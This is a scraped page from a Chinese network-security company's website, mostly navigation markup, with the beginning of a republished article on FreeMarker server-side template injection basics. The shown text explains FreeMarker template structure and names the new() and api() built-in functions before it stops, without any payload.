    [node-id="menu-69b42e7672025"] .cc-menu--item.current > .cc-menu--item__link,
    [node-id="menu-69b42e7672025"] .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item{background-color:rgba(247, 113, 74, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item{background-color:rgba(247, 113, 74, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item:hover,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
                    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:rgba(247, 113, 74, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#fff;} 
[node-id="menu-69b42e7672025"] .cc-menu--trigger i{color:#000000;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#fff;} 
[node-id="menu-69b42e7672025"].cc-menu.cc-menu--auto__mini .cc-menu--trigger i{color:#000000;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0 0;} 
} 
@media only screen and (min-width: 1180px){[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link > a{width:100%;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link > a{width:100%;} 
}
</style>
<div node-id="menu-69b42e7672025" node-type="menu" class="cc-menu cc-menu--style__default cc-menu--vertical cc-menu--arrow-icon cc-menu--sub-cen" >
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn" >
                            <span class="cc-menu--item__title">
                                首页
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%85%ac%e5%8f%b8%e7%ae%80%e4%bb%8b" >
                            <span class="cc-menu--item__title">
                                关于我们
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%85%ac%e5%8f%b8%e7%ae%80%e4%bb%8b" >
                            <span class="cc-menu--item__title">
                                公司简介
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%8f%91%e5%b1%95%e5%8e%86%e7%a8%8b" >
                            <span class="cc-menu--item__title">
                                发展历程
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96" >
                            <span class="cc-menu--item__title">
                                企业文化
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e8%8d%a3%e8%aa%89%e8%b5%84%e8%b4%a8" >
                            <span class="cc-menu--item__title">
                                荣誉资质
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%af%84%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全服务
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%af%84%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全评测
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e6%a3%80%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全检测
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e7%ae%a1%e5%ae%b6" >
                            <span class="cc-menu--item__title">
                                安全管家
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%ae%be%e8%ae%a1" >
                            <span class="cc-menu--item__title">
                                安全设计
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e5%92%a8%e8%af%a2" >
                            <span class="cc-menu--item__title">
                                安全咨询
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e6%95%99%e8%82%b2" >
                            <span class="cc-menu--item__title">
                                安全教育
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e6%8a%80%e6%9c%af%e5%ae%9e%e5%8a%9b" >
                            <span class="cc-menu--item__title">
                                技术实力
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0" >
                            <span class="cc-menu--item__title">
                                党建园地
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0/%e5%85%9a%e5%bb%ba%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                党建新闻
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0/%e5%ad%a6%e4%b9%a0%e5%9b%ad%e5%9c%b0" >
                            <span class="cc-menu--item__title">
                                学习园地
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e8%a1%8c%e4%b8%9a%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                新闻中心
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e8%a1%8c%e4%b8%9a%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                行业新闻
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e5%85%ac%e5%8f%b8%e5%8a%a8%e6%80%81" >
                            <span class="cc-menu--item__title">
                                公司动态
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e6%94%bf%e7%ad%96%e6%b3%95%e8%a7%84" >
                            <span class="cc-menu--item__title">
                                政策法规
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e8%81%94%e7%b3%bb%e6%88%91%e4%bb%ac" >
                            <span class="cc-menu--item__title">
                                联系我们
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%8b%9b%e8%b4%a4%e7%ba%b3%e5%a3%ab" >
                            <span class="cc-menu--item__title">
                                招贤纳士
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul></div>

<script>(function() {
    useComponent('menu').default({"id":"menu-69b42e7672025","options":{"hover_show":"no","show_cur_sub":"no","retain_hover":"none","line-style-obj":"all_menu","line-style":"left","mode":"vertical","style":"default","menu-item-repulsion":"no"}})
})()</script></div>                <div class="Page-header--shade__widgets">
            <div tabindex="-1" class="search-wrapper">
    
    
            <div class="search-icon2">
            <i style="color:#333333" class="fas fa-search"></i>
        </div>
        <form action="https://www.enst.org.cn" target="_blank">
            <div class="search-input-text">
                <input class="cc-form--input2" type="text" name="search" placeholder="搜索">
                <button class="cc-icon">
                    <i style="color:#000000" class="fa fa-search"></i> 
                </button>
            </div>
        </form>
    
</div>
        </div>
            </div>

    
</div>
    </div>
<div class="Page-header--mobile__placeholder"></div>
<div class="Page-slot--template-header" template_type="current" template_position="template-header" template_id="19"><div node-id="id-25-di1xji1hgr" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__row">
<style style-id="id-25-di1xji1hgr">
[node-id="id-25-di1xji1hgr"]{background-position:center center;background-repeat:no-repeat;background-size:cover;background-image:url(/uploads/2023/07/d42689495176d9691c509e6d0bf376d4.jpg);}
</style>
<script>(function() {
    useComponent('row').default({"id":"id-25-di1xji1hgr","options":{"full-width":"row","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-72-sycke1e0oe" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-72-sycke1e0oe","options":[]})
})()</script><div class="cc-element--wrapper id-48-c8f6h8ofvj--wrapper" >
        <div node-id="id-48-c8f6h8ofvj" node-type="block" class="cc-block cc-slot--wrapper">
<style style-id="id-48-c8f6h8ofvj">
@media only screen and (max-width: 767px) {[node-id="id-48-c8f6h8ofvj"]{padding-right:10px;padding-left:10px;} 
}@media only screen and (min-width: 768px) {[node-id="id-48-c8f6h8ofvj"]{padding-right:50px;padding-left:50px;} 
}@media only screen and (min-width: 1600px) {[node-id="id-48-c8f6h8ofvj"]{padding-right:15px;padding-left:15px;} 
}
</style>
<script>(function() {
    useComponent('block').default({"id":"id-48-c8f6h8ofvj","options":[]})
})()</script><div node-id="id-58-a4aglffxpg" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-58-a4aglffxpg","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-46-lznlgg5n0n" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__middle cc-col--justify__start cc-col-23 cc-col-xl-23 cc-col-lg3-23 cc-col-lg2-23 cc-col-lg-23 cc-col-md-23 cc-col-sm-23 cc-col-xs-23"><script>(function() {
    useComponent('column').default({"id":"id-46-lznlgg5n0n","options":[]})
})()</script></div><div node-id="id-71-cd7vllkx5r" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-1 cc-col-xl-1 cc-col-lg3-1 cc-col-lg2-1 cc-col-lg-1 cc-col-md-1 cc-col-sm-1 cc-col-xs-1"><script>(function() {
    useComponent('column').default({"id":"id-71-cd7vllkx5r","options":[]})
})()</script><div class="cc-element--wrapper id-69-tjux2pptv6--wrapper" >
<style style-id="id-69-tjux2pptv6">
@media only screen and (max-width: 767px) {[node-id="id-69-tjux2pptv6"]{padding-bottom:100px;} 
}@media only screen and (min-width: 768px) {[node-id="id-69-tjux2pptv6"]{padding-bottom:200px;} 
}@media only screen and (min-width: 1600px) {[node-id="id-69-tjux2pptv6"]{padding-bottom:280px;} 
}
</style>
<div node-id="id-69-tjux2pptv6" node-type="placeholder" class="cc-placeholder"  style="height:0px">
</div>


<script>(function() {
    useComponent('placeholder').default({"id":"id-69-tjux2pptv6","options":[]})
})()</script></div></div></div></div></div></div></div><div node-id="id-61-ep8lfjtu5n" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__row">
<style style-id="id-61-ep8lfjtu5n">
[node-id="id-61-ep8lfjtu5n"]{background-color:rgba(233, 90, 48, 1);}
</style>
<script>(function() {
    useComponent('row').default({"id":"id-61-ep8lfjtu5n","options":{"full-width":"row","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-48-u3i1kxxejp" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-48-u3i1kxxejp","options":[]})
})()</script><div class="cc-element--wrapper id-43-ixxd9naqyz--wrapper" >
        <div node-id="id-43-ixxd9naqyz" node-type="block" class="cc-block cc-slot--wrapper">
<style style-id="id-43-ixxd9naqyz">
@media only screen and (max-width: 767px) {[node-id="id-43-ixxd9naqyz"]{padding-right:10px;padding-left:10px;} 
}@media only screen and (min-width: 768px) {[node-id="id-43-ixxd9naqyz"]{padding-left:50px;padding-right:50px;} 
}@media only screen and (min-width: 1600px) {[node-id="id-43-ixxd9naqyz"]{padding-right:15px;padding-left:15px;} 
}
</style>
<script>(function() {
    useComponent('block').default({"id":"id-43-ixxd9naqyz","options":[]})
})()</script><div node-id="id-32-fh0x02dyhi" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default">
<style style-id="id-32-fh0x02dyhi">
[node-id="id-32-fh0x02dyhi"]{padding-top:5px;padding-bottom:5px;}
</style>
<script>(function() {
    useComponent('row').default({"id":"id-32-fh0x02dyhi","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-27-c59p6ep9z5" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-27-c59p6ep9z5","options":[]})
})()</script><div class="cc-element--wrapper id-27-rd3seebzf9--wrapper" >
<style style-id="id-27-rd3seebzf9">
[node-id="id-27-rd3seebzf9"].cc-breadcrumb li:nth-child(n+2)::before{content: "/";} 
[node-id="id-27-rd3seebzf9"].cc-breadcrumb{color: rgba(255, 255, 255, 1);
        font-size: 15px;}
</style>
<div node-id="id-27-rd3seebzf9" node-type="breadcrumb" class="cc-breadcrumb cc-breadcrumb cc-breadcrumb--align__left" >
    <ul><li><a  href="https://www.enst.org.cn" >首页</a></li><li><a  href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e8%a1%8c%e4%b8%9a%e6%96%b0%e9%97%bb" >行业新闻</a></li><li class="disabled"><a  href="https://www.enst.org.cn/276.html" >FreeMarker SSTI漏洞基础</a></li></ul>
</div>
<script>(function() {
    useComponent('breadcrumb').default({"id":"id-27-rd3seebzf9","options":[]})
})()</script></div></div></div></div></div></div></div><div node-id="id-48-lsodpj8yy8" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-48-lsodpj8yy8","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-81-hf2k2cvjby" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-81-hf2k2cvjby","options":[]})
})()</script><div class="cc-element--wrapper id-58-ozfky1pppk--wrapper" ><div node-id="id-58-ozfky1pppk" node-type="placeholder" class="cc-placeholder"  style="height:30px">
</div>


<script>(function() {
    useComponent('placeholder').default({"id":"id-58-ozfky1pppk","options":[]})
})()</script></div></div></div></div>        </div>
        <div class="Page-body">
            <div class="Page-sidebar sidebar-left  ">
                            </div>
            <div class="Page-content">
                
<div class="posts container ">
    <div class="posts-header">
        <h1 class="posts-title">
            FreeMarker SSTI漏洞基础        </h1>
        <h2 class="posts-subtitle">
                    </h2>
        <div class="posts-meta">
                                        <div class="date">
                    发布于： 2025-04-27 18:00                 </div>
                                    
                                            <div class="source">
                    来源： <a href="https://mp.weixin.qq.com/s/qoKIFL7trvv1-0PhcK--zw" target="_blank" rel="nofollow">卓识网安</a>                </div>
                                                            </div>
    </div>

    <div class="posts-body">
                <div class="posts-content">
            <div class="richtext">
                <section data-tpl-id="21330" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color:#f4f8ff;margin-bottom:unset;"><section style="margin-bottom:unset;"><section style="text-align:right;margin-bottom:unset;" data-mp-plugin="96weixin"><section nodeleaf=""><img src="/uploads/2025/04/62b027c8b3e00b01b90f3fc8dd3e1cc4.png" style="vertical-align:bottom;"></section><section style="width:40px;margin-top:-90px;margin-left:16px;margin-bottom:unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style='background-image: url("/uploads/2025/04/2b234602155d6bd58fd6c9b8a0158783.png");background-position: 100% 100%;background-repeat: no-repeat;background-size: 100% 100%;margin-top: -10px;margin-right: 20px;margin-left: 20px;padding: 50px 10px 65px;transform: rotateZ(0deg);'><section style="margin-bottom:unset;"><p style="color:#0063da;font-size:40px;letter-spacing:0px;line-height:1.3;text-align:center;"><strong data-aibrush="title"><span leaf="">FreeMarker SSTI漏洞基础</span></strong></p>
<section style="margin-top:8px;margin-bottom:unset;"><p style="color:#0063da;font-size:14px;letter-spacing:2px;line-height:1.3;text-align:center;"><em data-aibrush="sub_title"><span leaf="">北京卓识网安技术股份有限公司</span></em></p></section></section></section><section style="width: 5.6em;margin-top: -40px;margin-right: 5%;margin-left: auto;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/05d78491d87ecc21bfcbe8bba93b4717.png" style="vertical-align:bottom;"></section></section><section style="width: 17%;margin-top: 26px;margin-left: 20px;transform: rotateZ(0deg);" data-width="17%"><section nodeleaf=""><img src="/uploads/2025/04/f17d9a8eddd13d963b1129fa45ba52ab.png" style="vertical-align:bottom;"></section></section><section style="margin-top: 0em;margin-right: 10px;"><section style="background-image: linear-gradient(90deg, rgb(244, 248, 255), rgb(130, 190, 253));width: 70%;height: 13px;border-radius: 0px 40px 40px;margin-left: auto;margin-bottom: unset;overflow: hidden;line-height: 0;" data-width="70%"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">基础知识</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">Freemarker是一种</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">java模板开发引擎</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">，基于模板和程序数据动态输出文本的通用工具。在freemarker中以ftl文件作为模板文件，其结构类似于html格式，一般由以下几部分组成：</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1. </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">文本，即文本。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2. </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">注释，与html注释一样。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3. </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">插值，使用${}包裹，用于动态地从程序中插入数据。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">4. </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ftl标签，<#<<ftl指令>>></span></span></p></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">内建函数</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">Freemarker中的内建函数：new()和api()</span></span><span leaf=""><br></span></p>
